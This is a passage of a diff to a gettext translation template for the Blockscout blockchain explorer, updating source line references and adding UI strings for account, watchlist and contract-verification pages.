lib/block_scout_web/templates/address_contract/index.html.eex:70 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:58 +#: lib/block_scout_web/templates/address_contract/index.html.eex:76 +#: lib/block_scout_web/templates/address_contract/index.html.eex:76 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:62 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:62 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:54 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:54 #, elixir-autogen, elixir-format msgid "Optimization runs" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:74 +#: lib/block_scout_web/templates/layout/_footer.html.eex:78 +#: lib/block_scout_web/templates/layout/_footer.html.eex:78 #, elixir-autogen, elixir-format msgid "Other Explorers" msgstr "" +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:35 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:35 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:48 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:48 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:61 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:61 +#, elixir-autogen, elixir-format +msgid "Outgoing" +msgstr "" + +#: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:24 #: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:24 #, elixir-autogen, elixir-format msgid "Owner Address" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 +#, elixir-autogen, elixir-format +msgid "POA solidity flattener or the" +msgstr "" + +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:19 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:19 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:26 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:26 #, elixir-autogen, elixir-format msgid "POST" msgstr "" +#: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:41 #: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:41 #, elixir-autogen, elixir-format msgid "Page" msgstr "" +#: lib/block_scout_web/templates/page_not_found/index.html.eex:7 +#: lib/block_scout_web/templates/page_not_found/index.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Page not found" +msgstr "" + #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:33 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:33 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:40 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:40 #, elixir-autogen, elixir-format msgid "Parameters" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:139 #: lib/block_scout_web/templates/block/overview.html.eex:139 #, elixir-autogen, elixir-format msgid "Parent Hash" msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:60 -#: lib/block_scout_web/views/transaction_view.ex:348 -#: lib/block_scout_web/views/transaction_view.ex:386 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:63 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:63 +#: lib/block_scout_web/views/transaction_view.ex:374 +#: lib/block_scout_web/views/transaction_view.ex:374 +#: lib/block_scout_web/views/transaction_view.ex:419 +#: lib/block_scout_web/views/transaction_view.ex:419 +#: lib/block_scout_web/views/transaction_view.ex:427 +#: lib/block_scout_web/views/transaction_view.ex:427 #, elixir-autogen, elixir-format msgid "Pending" msgstr "" +#: lib/block_scout_web/templates/pending_transaction/index.html.eex:5 #: lib/block_scout_web/templates/pending_transaction/index.html.eex:5 #, elixir-autogen, elixir-format msgid "Pending Transactions" msgstr "" -#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:9 -#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:13 +#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:9 +#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:9 +#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:13 +#: lib/block_scout_web/templates/address/_custom_view_df_title.html.eex:13 +#, elixir-autogen, elixir-format +msgid "Play" +msgstr "" + +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:21 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:21 +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#, elixir-autogen, elixir-format +msgid "Please confirm your email address to use the My Account feature." +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:68 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:68 +#, elixir-autogen, elixir-format +msgid "Please select notification methods:" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:24 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:24 #, elixir-autogen, elixir-format -msgid "Play" +msgid "Please select what types of notifications you will receive:" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:430 +#: lib/block_scout_web/templates/transaction/overview.html.eex:537 +#: lib/block_scout_web/templates/transaction/overview.html.eex:537 #, elixir-autogen, elixir-format msgid "Position" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:254 +#: lib/block_scout_web/templates/block/overview.html.eex:256 +#: lib/block_scout_web/templates/block/overview.html.eex:256 #, elixir-autogen, elixir-format msgid "Position %{index}" msgstr "" #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:18 +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:18 +#, elixir-autogen, elixir-format +msgid "Potential matches from contract method database:" +msgstr "" + +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:32 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:32 #, elixir-autogen, elixir-format msgid "Potential matches from our contract method database:" msgstr "" +#: lib/block_scout_web/templates/layout/_search.html.eex:27 #: lib/block_scout_web/templates/layout/_search.html.eex:27 #, elixir-autogen, elixir-format msgid "Press / and focus will be moved to the search field" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:41 -#: lib/block_scout_web/templates/layout/app.html.eex:47 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:94 +#: lib/block_scout_web/templates/chain/show.html.eex:42 +#: lib/block_scout_web/templates/chain/show.html.eex:42 +#: lib/block_scout_web/templates/layout/app.html.eex:51 +#: lib/block_scout_web/templates/layout/app.html.eex:51 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:96 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:96 #, elixir-autogen, elixir-format msgid "Price" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:93 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:95 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:95 #, elixir-autogen, elixir-format msgid "Price per token on the exchanges" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:344 +#: lib/block_scout_web/templates/transaction/overview.html.eex:399 +#: lib/block_scout_web/templates/transaction/overview.html.eex:399 #, elixir-autogen, elixir-format +msgid "Price per unit of gas specified by the sender on L2. Higher gas prices can prioritize transaction inclusion during times of high usage." +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:403 +#: lib/block_scout_web/templates/transaction/overview.html.eex:403 +#, elixir-autogen, elixir-format, fuzzy msgid "Price per unit of gas specified by the sender. Higher gas prices can prioritize transaction inclusion during times of high usage." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:225 -#: lib/block_scout_web/templates/transaction/overview.html.eex:394 +#: lib/block_scout_web/templates/block/overview.html.eex:227 +#: lib/block_scout_web/templates/block/overview.html.eex:227 +#: lib/block_scout_web/templates/transaction/overview.html.eex:460 +#: lib/block_scout_web/templates/transaction/overview.html.eex:460 #, elixir-autogen, elixir-format msgid "Priority Fee / Tip" msgstr "" +#: lib/block_scout_web/templates/block/_tile.html.eex:62 #: lib/block_scout_web/templates/block/_tile.html.eex:62 #, elixir-autogen, elixir-format msgid "Priority Fees" msgstr "" +#: lib/block_scout_web/templates/account/common/_nav.html.eex:4 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:4 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:14 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:14 +#, elixir-autogen, elixir-format +msgid "Profile" +msgstr "" + #: lib/block_scout_web/templates/common_components/_btn_qr_code.html.eex:10 +#: lib/block_scout_web/templates/common_components/_btn_qr_code.html.eex:10 +#: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:5 #: lib/block_scout_web/templates/common_components/_modal_qr_code.html.eex:5 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:83 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:83 #, elixir-autogen, elixir-format msgid "QR Code" msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:109 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:106 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:106 #, elixir-autogen, elixir-format msgid "Query" msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:104 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:115 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:115 #, elixir-autogen, elixir-format msgid "RPC" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:439 +#: lib/block_scout_web/templates/transaction/overview.html.eex:546 +#: lib/block_scout_web/templates/transaction/overview.html.eex:546 #, elixir-autogen, elixir-format msgid "Raw Input" msgstr "" #: lib/block_scout_web/templates/transaction/_tabs.html.eex:24 -#: lib/block_scout_web/templates/transaction_raw_trace/index.html.eex:7 -#: lib/block_scout_web/views/transaction_view.ex:514 +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:24 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:1 +#: lib/block_scout_web/templates/transaction_raw_trace/_card_body.html.eex:1 +#: lib/block_scout_web/views/transaction_view.ex:554 +#: lib/block_scout_web/views/transaction_view.ex:554 #, elixir-autogen, elixir-format msgid "Raw Trace" msgstr "" +#: lib/block_scout_web/templates/address/_tabs.html.eex:81 #: lib/block_scout_web/templates/address/_tabs.html.eex:81 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:27 -#: lib/block_scout_web/views/address_view.ex:366 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:27 +#: lib/block_scout_web/views/address_view.ex:357 +#: lib/block_scout_web/views/address_view.ex:357 +#: lib/block_scout_web/views/tokens/overview_view.ex:41 #: lib/block_scout_web/views/tokens/overview_view.ex:41 #, elixir-autogen, elixir-format msgid "Read Contract" msgstr "" #: lib/block_scout_web/templates/address/_tabs.html.eex:88 +#: lib/block_scout_web/templates/address/_tabs.html.eex:88 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:41 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:41 -#: lib/block_scout_web/views/address_view.ex:367 +#: lib/block_scout_web/views/address_view.ex:358 +#: lib/block_scout_web/views/address_view.ex:358 #, elixir-autogen, elixir-format msgid "Read Proxy" msgstr "" +#: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:13 #: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:13 #, elixir-autogen, elixir-format msgid "Records" msgstr "" +#: lib/block_scout_web/templates/account/api_key/row.html.eex:13 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:13 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:13 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:13 +#, elixir-autogen, elixir-format +msgid "Remove" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:77 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:77 +#, elixir-autogen, elixir-format +msgid "Remove from Watch list" +msgstr "" + +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:155 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:155 #, elixir-autogen, elixir-format msgid "Request URL" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:142 +#: lib/block_scout_web/templates/error422/index.html.eex:7 +#: lib/block_scout_web/templates/error422/index.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Request cannot be processed" +msgstr "" + +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#, elixir-autogen, elixir-format +msgid "Resend verification email" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:112 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:112 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:38 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:138 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:38 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:104 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:104 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:52 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:52 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:48 +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:48 #, elixir-autogen, elixir-format msgid "Reset" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:173 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:173 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:134 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:134 #, elixir-autogen, elixir-format msgid "Response Body" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:185 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:185 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:147 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:147 #, elixir-autogen, elixir-format msgid "Responses" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:93 +#: lib/block_scout_web/templates/transaction/overview.html.eex:98 +#: lib/block_scout_web/templates/transaction/overview.html.eex:98 #, elixir-autogen, elixir-format msgid "Result" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:130 +#: lib/block_scout_web/templates/transaction/overview.html.eex:138 +#: lib/block_scout_web/templates/transaction/overview.html.eex:138 #, elixir-autogen, elixir-format msgid "Revert reason" msgstr "" +#: lib/block_scout_web/templates/block/_tile.html.eex:52 #: lib/block_scout_web/templates/block/_tile.html.eex:52 #: lib/block_scout_web/templates/chain/_block.html.eex:27 -#: lib/block_scout_web/views/internal_transaction_view.ex:28 +#: lib/block_scout_web/templates/chain/_block.html.eex:27 +#: lib/block_scout_web/views/internal_transaction_view.ex:29 +#: lib/block_scout_web/views/internal_transaction_view.ex:29 #, elixir-autogen, elixir-format msgid "Reward" msgstr "" +#: lib/block_scout_web/templates/admin/dashboard/index.html.eex:21 #: lib/block_scout_web/templates/admin/dashboard/index.html.eex:21 #, elixir-autogen, elixir-format msgid "Run" msgstr "" +#: lib/block_scout_web/templates/account/api_key/form.html.eex:26 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:26 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:31 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:31 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:25 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:25 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:25 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:25 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:83 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:83 +#, elixir-autogen, elixir-format +msgid "Save" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:226 +#: lib/block_scout_web/templates/transaction/overview.html.eex:226 +#, elixir-autogen, elixir-format +msgid "Scroll to see more" +msgstr "" + +#: lib/block_scout_web/templates/address_logs/index.html.eex:16 #: lib/block_scout_web/templates/address_logs/index.html.eex:16 #: lib/block_scout_web/templates/layout/_search.html.eex:34 +#: lib/block_scout_web/templates/layout/_search.html.eex:34 #, elixir-autogen, elixir-format msgid "Search" msgstr "" +#: lib/block_scout_web/templates/search/results.html.eex:17 #: lib/block_scout_web/templates/search/results.html.eex:17 #, elixir-autogen, elixir-format msgid "Search Results" msgstr "" +#: lib/block_scout_web/templates/layout/_search.html.eex:3 #: lib/block_scout_web/templates/layout/_search.html.eex:3 #, elixir-autogen, elixir-format msgid "Search by address, token symbol name, transaction hash, or block number" msgstr "" +#: lib/block_scout_web/templates/address_token_balance/_token_balances.html.eex:47 #: lib/block_scout_web/templates/address_token_balance/_token_balances.html.eex:47 #, elixir-autogen, elixir-format msgid "Search tokens" msgstr "" -#: lib/block_scout_web/views/internal_transaction_view.ex:27 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:19 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:19 +#, elixir-autogen, elixir-format +msgid "Select Yes if you want to verify Yul contract." +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:19 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:19 +#, elixir-autogen, elixir-format +msgid "Select yes if you want to show nightly builds." +msgstr "" + +#: lib/block_scout_web/views/internal_transaction_view.ex:28 +#: lib/block_scout_web/views/internal_transaction_view.ex:28 #, elixir-autogen, elixir-format msgid "Self-Destruct" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:163 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:163 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:124 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:124 #, elixir-autogen, elixir-format msgid "Server Response" msgstr "" +#: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:7 #: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:7 #, elixir-autogen, elixir-format msgid "Show" msgstr "" +#: lib/block_scout_web/templates/common_components/_btn_qr_code.html.eex:11 #: lib/block_scout_web/templates/common_components/_btn_qr_code.html.eex:11 #, elixir-autogen, elixir-format msgid "Show QR Code" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:47 -#, elixir-autogen, elixir-format -msgid "Show Validator Info" -msgstr "" - +#: lib/block_scout_web/templates/address_token/overview.html.eex:52 #: lib/block_scout_web/templates/address_token/overview.html.eex:52 #, elixir-autogen, elixir-format msgid "Shows the current" msgstr "" +#: lib/block_scout_web/templates/address_token/overview.html.eex:59 #: lib/block_scout_web/templates/address_token/overview.html.eex:59 #, elixir-autogen, elixir-format msgid "Shows the tokens held in the address (includes ERC-20, ERC-721 and ERC-1155)." msgstr "" +#: lib/block_scout_web/templates/address_token/overview.html.eex:66 #: lib/block_scout_web/templates/address_token/overview.html.eex:66 #, elixir-autogen, elixir-format msgid "Shows the total CRC balance in the address." msgstr "" +#: lib/block_scout_web/templates/address_token/overview.html.eex:45 #: lib/block_scout_web/templates/address_token/overview.html.eex:45 #, elixir-autogen, elixir-format msgid "Shows total assets held in the address" msgstr "" +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:32 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:32 +#, elixir-autogen, elixir-format +msgid "Sign in" +msgstr "" + +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:23 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:23 +#, elixir-autogen, elixir-format +msgid "Sign out" +msgstr "" + +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:11 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:11 +#, elixir-autogen, elixir-format +msgid "Signed in as " +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:114 #: lib/block_scout_web/templates/block/overview.html.eex:114 #, elixir-autogen, elixir-format msgid "Size" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:113 #: lib/block_scout_web/templates/block/overview.html.eex:113 #, elixir-autogen, elixir-format msgid "Size of the block in bytes." msgstr "" +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:20 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:20 #, elixir-autogen, elixir-format msgid "Slow" msgstr "" +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:28 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:28 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:26 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:26 +#: lib/block_scout_web/views/verified_contracts_view.ex:10 +#: lib/block_scout_web/views/verified_contracts_view.ex:10 +#, elixir-autogen, elixir-format +msgid "Solidity" +msgstr "" + +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:30 #: lib/block_scout_web/templates/address_coin_balance/index.html.eex:30 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:50 +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:50 +#: lib/block_scout_web/templates/address_logs/index.html.eex:23 #: lib/block_scout_web/templates/address_logs/index.html.eex:23 #: lib/block_scout_web/templates/address_token/index.html.eex:60 +#: lib/block_scout_web/templates/address_token/index.html.eex:60 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:58 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:58 #: lib/block_scout_web/templates/address_transaction/index.html.eex:50 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:50 +#: lib/block_scout_web/templates/address_validation/index.html.eex:20 #: lib/block_scout_web/templates/address_validation/index.html.eex:20 -#: lib/block_scout_web/templates/block_transaction/index.html.eex:22 -#: lib/block_scout_web/templates/chain/show.html.eex:157 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:20 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:20 +#: lib/block_scout_web/templates/block_transaction/index.html.eex:14 +#: lib/block_scout_web/templates/block_transaction/index.html.eex:14 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:14 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:14 +#: lib/block_scout_web/templates/chain/show.html.eex:160 +#: lib/block_scout_web/templates/chain/show.html.eex:160 #: lib/block_scout_web/templates/pending_transaction/index.html.eex:18 -#: lib/block_scout_web/templates/tokens/holder/index.html.eex:23 +#: lib/block_scout_web/templates/pending_transaction/index.html.eex:18 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:24 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:24 +#: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:23 #: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:23 #: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:23 -#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:22 -#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:21 +#: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:23 +#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:23 +#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:23 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:22 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:22 +#: lib/block_scout_web/templates/transaction/index.html.eex:25 #: lib/block_scout_web/templates/transaction/index.html.eex:25 #: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:13 +#: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:13 +#: lib/block_scout_web/templates/transaction_log/index.html.eex:15 #: lib/block_scout_web/templates/transaction_log/index.html.eex:15 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:13 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:13 #: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:14 +#: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:14 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:51 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:51 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:14 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:14 #, elixir-autogen, elixir-format msgid "Something went wrong, click to reload." msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:222 +#: lib/block_scout_web/templates/chain/show.html.eex:225 +#: lib/block_scout_web/templates/chain/show.html.eex:225 #, elixir-autogen, elixir-format msgid "Something went wrong, click to retry." msgstr "" -#: lib/block_scout_web/templates/transaction/not_found.html.eex:7 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:6 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:6 #, elixir-autogen, elixir-format -msgid "Sorry, We are unable to locate this transaction Hash" +msgid "Sorry, we are unable to locate this transaction hash" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:63 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:63 #, elixir-autogen, elixir-format msgid "Sources *.sol files" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:63 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:63 +#, elixir-autogen, elixir-format +msgid "Sources *.sol or *.yul files" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:14 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:14 #, elixir-autogen, elixir-format msgid "Sources and Metadata JSON" msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:125 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:136 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:136 #, elixir-autogen, elixir-format msgid "Stakes" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:24 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:24 #, elixir-autogen, elixir-format msgid "Standard Input JSON" msgstr "" +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:29 +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:29 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:6 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:6 +#: lib/block_scout_web/views/transaction_view.ex:555 +#: lib/block_scout_web/views/transaction_view.ex:555 +#, elixir-autogen, elixir-format +msgid "State changes" +msgstr "" + +#: lib/block_scout_web/views/internal_transaction_view.ex:24 #: lib/block_scout_web/views/internal_transaction_view.ex:24 #, elixir-autogen, elixir-format msgid "Static Call" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:105 +#: lib/block_scout_web/templates/transaction/overview.html.eex:110 +#: lib/block_scout_web/templates/transaction/overview.html.eex:110 #, elixir-autogen, elixir-format msgid "Status" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:39 +#: lib/block_scout_web/templates/layout/_footer.html.eex:41 +#: lib/block_scout_web/templates/layout/_footer.html.eex:41 #, elixir-autogen, elixir-format msgid "Submit an Issue" msgstr "" #: lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex:8 -#: lib/block_scout_web/views/transaction_view.ex:350 +#: lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex:8 +#: lib/block_scout_web/views/transaction_view.ex:376 +#: lib/block_scout_web/views/transaction_view.ex:376 #, elixir-autogen, elixir-format msgid "Success" msgstr "" #: lib/block_scout_web/templates/transaction/_pending_tile.html.eex:21 -#: lib/block_scout_web/templates/transaction/_tile.html.eex:46 +#: lib/block_scout_web/templates/transaction/_pending_tile.html.eex:21 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:52 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:52 #, elixir-autogen, elixir-format msgid "TX Fee" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:30 +#: lib/block_scout_web/templates/layout/_footer.html.eex:31 +#: lib/block_scout_web/templates/layout/_footer.html.eex:31 #, elixir-autogen, elixir-format msgid "Telegram" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:63 +#: lib/block_scout_web/templates/layout/_footer.html.eex:67 +#: lib/block_scout_web/templates/layout/_footer.html.eex:67 #, elixir-autogen, elixir-format msgid "Test Networks" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:9 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:9 +#, elixir-autogen, elixir-format +msgid "The 0x library address. This can be found in the generated json file or Truffle output (if using truffle)." +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:34 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:34 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 +#, elixir-autogen, elixir-format +msgid "The EVM version the contract is written for. If the bytecode does not match the version, we try to verify using the latest EVM version." +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:122 #: lib/block_scout_web/templates/block/overview.html.eex:122 #, elixir-autogen, elixir-format msgid "The SHA256 hash of the block." msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:51 #: 